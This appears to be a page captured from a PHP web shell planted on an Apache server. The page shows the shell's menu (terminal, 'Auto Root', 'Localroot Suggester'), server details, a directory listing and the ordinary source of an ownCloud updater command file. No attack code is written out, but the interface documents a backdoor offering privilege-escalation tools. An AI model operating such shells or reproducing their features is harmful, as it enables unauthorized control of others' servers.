Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
owncloud-prm /
updater /
src /
Command /
Delete
Unzip
Name
Size
Permission
Date
Action
BackupDataCommand.php
1.28
KB
-rw-r--r--
2018-04-19 18:16
BackupDbCommand.php
1.27
KB
-rw-r--r--
2018-04-19 18:16
CheckSystemCommand.php
3.42
KB
-rw-r--r--
2018-04-19 18:16
CheckpointCommand.php
3.19
KB
-rw-r--r--
2018-04-19 18:16
CleanCacheCommand.php
1.27
KB
-rw-r--r--
2018-04-19 18:16
Command.php
1.21
KB
-rw-r--r--
2018-04-19 18:16
DetectCommand.php
5.72
KB
-rw-r--r--
2018-04-19 18:16
ExecuteCoreUpgradeScriptsCommand.php
6.52
KB
-rw-r--r--
2018-04-19 18:16
InfoCommand.php
1.47
KB
-rw-r--r--
2018-04-19 18:16
MaintenanceModeCommand.php
2.03
KB
-rw-r--r--
2018-04-19 18:16
PostUpgradeCleanupCommand.php
2.62
KB
-rw-r--r--
2018-04-19 18:16
PostUpgradeRepairCommand.php
1.37
KB
-rw-r--r--
2018-04-19 18:16
PreUpgradeRepairCommand.php
1.36
KB
-rw-r--r--
2018-04-19 18:16
RestartWebServerCommand.php
1.31
KB
-rw-r--r--
2018-04-19 18:16
StartCommand.php
2.29
KB
-rw-r--r--
2018-04-19 18:16
UpdateConfigCommand.php
1.28
KB
-rw-r--r--
2018-04-19 18:16
Save
Rename
<?php /** * @author Victor Dubiniuk <dubiniuk@owncloud.com> * * @copyright Copyright (c) 2015, ownCloud, Inc. * @license AGPL-3.0 * * This code is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License, version 3, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License, version 3, * along with this program. If not, see <http://www.gnu.org/licenses/> * */ namespace Owncloud\Updater\Command; use Owncloud\Updater\Utils\Checkpoint; use Owncloud\Updater\Utils\FilesystemHelper; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Process\Exception\ProcessFailedException; use Owncloud\Updater\Utils\OccRunner; use Owncloud\Updater\Utils\ZipExtractor; /** * Class ExecuteCoreUpgradeScriptsCommand * * @package Owncloud\Updater\Command */ class ExecuteCoreUpgradeScriptsCommand extends Command { /** * @var OccRunner $occRunner */ protected $occRunner; /** * ExecuteCoreUpgradeScriptsCommand constructor. * * @param null|string $occRunner */ public function __construct($occRunner){ parent::__construct(); $this->occRunner = $occRunner; } protected function configure(){ $this ->setName('upgrade:executeCoreUpgradeScripts') ->setDescription('execute core upgrade scripts [danger, might take long]'); } /** * @param InputInterface $input * @param OutputInterface $output * @throws \Exception */ protected function execute(InputInterface $input, OutputInterface $output){ $locator = $this->container['utils.locator']; /** @var FilesystemHelper $fsHelper */ $fsHelper = $this->container['utils.filesystemhelper']; $registry = $this->container['utils.registry']; $fetcher = $this->container['utils.fetcher']; /** @var Checkpoint $checkpoint */ $checkpoint = $this->container['utils.checkpoint']; $installedVersion = implode('.', $locator->getInstalledVersion()); $registry->set('installedVersion', $installedVersion); /** @var \Owncloud\Updater\Utils\Feed $feed */ $feed = $registry->get('feed'); if ($feed){ $path = $fetcher->getBaseDownloadPath($feed); $fullExtractionPath = $locator->getExtractionBaseDir() . '/' . $feed->getVersion(); if (file_exists($fullExtractionPath)){ $fsHelper->removeIfExists($fullExtractionPath); } try{ $fsHelper->mkdir($fullExtractionPath, true); } catch (\Exception $e){ $output->writeln('Unable create directory ' . $fullExtractionPath); throw $e; } $output->writeln('Extracting source into ' . $fullExtractionPath); $extractor = new ZipExtractor($path, $fullExtractionPath, $output); try{ $extractor->extract(); } catch (\Exception $e){ $output->writeln('Extraction has been failed'); $fsHelper->removeIfExists($locator->getExtractionBaseDir()); throw $e; } $tmpDir = $locator->getExtractionBaseDir() . '/' . $installedVersion; $fsHelper->removeIfExists($tmpDir); $fsHelper->mkdir($tmpDir); $oldSourcesDir = $locator->getOwncloudRootPath(); $newSourcesDir = $fullExtractionPath . '/owncloud'; $packageVersion = $this->loadVersion($newSourcesDir); $allowedPreviousVersions = $this->loadAllowedPreviousVersions($newSourcesDir); if (!$this->isUpgradeAllowed($installedVersion, $packageVersion, $allowedPreviousVersions)){ $message = sprintf( 'Update from %s to %s is not possible. Updates between multiple major versions and downgrades are unsupported.', $installedVersion, $packageVersion ); $this->getApplication()->getLogger()->error($message); $output->writeln('<error>'. $message .'</error>'); return 1; } foreach ($locator->getRootDirContent() as $dir){ $this->getApplication()->getLogger()->debug('Replacing ' . $dir); $fsHelper->tripleMove($oldSourcesDir, $newSourcesDir, $tmpDir, $dir); } $fsHelper->copyr($tmpDir . '/config/config.php', $oldSourcesDir . '/config/config.php'); //Remove old apps $appDirectories = $fsHelper->scandirFiltered($oldSourcesDir . '/apps'); foreach ($appDirectories as $appDirectory){ $fsHelper->rmdirr($oldSourcesDir . '/apps/' . $appDirectory); } //Put new shipped apps $newAppsDir = $fullExtractionPath . '/owncloud/apps'; $newAppsList = $fsHelper->scandirFiltered($newAppsDir); foreach ($newAppsList as $appId){ $output->writeln('Copying the application ' . $appId); $fsHelper->copyr($newAppsDir . '/' . $appId, $locator->getOwnCloudRootPath() . '/apps/' . $appId, false); } try { $plain = $this->occRunner->run('upgrade'); $output->writeln($plain); } catch (ProcessFailedException $e){ $lastCheckpointId = $checkpoint->getLastCheckpointId(); if ($lastCheckpointId){ $lastCheckpointPath = $checkpoint->getCheckpointPath($lastCheckpointId); $fsHelper->copyr($lastCheckpointPath . '/apps', $oldSourcesDir . '/apps', false); } if ($e->getProcess()->getExitCode() != 3){ throw ($e); } } } } public function isUpgradeAllowed($installedVersion, $packageVersion, $canBeUpgradedFrom){ if (version_compare($installedVersion, $packageVersion, '<=')){ foreach ($canBeUpgradedFrom as $allowedPreviousVersion){ if (version_compare($allowedPreviousVersion, $installedVersion, '<=')){ return true; } } } return false; } /** * @param string $pathToPackage * @return string */ protected function loadVersion($pathToPackage){ require $pathToPackage . '/version.php'; /** @var $OC_Version array */ return implode('.', $OC_Version); } /** * @param string $pathToPackage * @return string[] */ protected function loadAllowedPreviousVersions($pathToPackage) { $canBeUpgradedFrom = $this->loadCanBeUpgradedFrom($pathToPackage); $firstItem = reset($canBeUpgradedFrom); if (!is_array($firstItem)){ $canBeUpgradedFrom = [$canBeUpgradedFrom]; } $allowedVersions = []; foreach ($canBeUpgradedFrom as $version){ $allowedVersions[] = implode('.', $version); } return $allowedVersions; } /** * @param string $pathToPackage * @return array */ protected function loadCanBeUpgradedFrom($pathToPackage){ require $pathToPackage . '/version.php'; /** @var array $OC_VersionCanBeUpgradedFrom */ return $OC_VersionCanBeUpgradedFrom; } }